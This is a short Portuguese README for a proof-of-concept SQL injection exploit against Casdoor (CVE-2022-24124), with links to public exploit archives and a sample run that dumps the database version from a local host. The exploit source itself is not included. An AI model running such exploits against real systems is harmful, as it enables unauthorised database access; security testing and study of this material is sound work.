POC para CVE-2022-24124

Código do Exploit para CVE-2022-24124, também conhecido como Casdoor SQL Injection

Links do Exploit: [ExploitDB-50792] [PacketStormSecurity]

Resultado esperado: Extrair a versão do banco de dados SQL no host que executa Casdoor < 1.13.1

Destinado apenas para fins educacionais e de testes em ambientes corporativos.

Uso do Exploit

Barricade➜ go run exploit.go -u http://127.0.0.1:8080

-=Casdoor SQL Injection (CVE-2022-24124)=-
- by Mayank Deshmukh (ColdFusionX)

[*] Dumping Database Version
XPATH syntax error: .12-MariaDB-0+deb11u1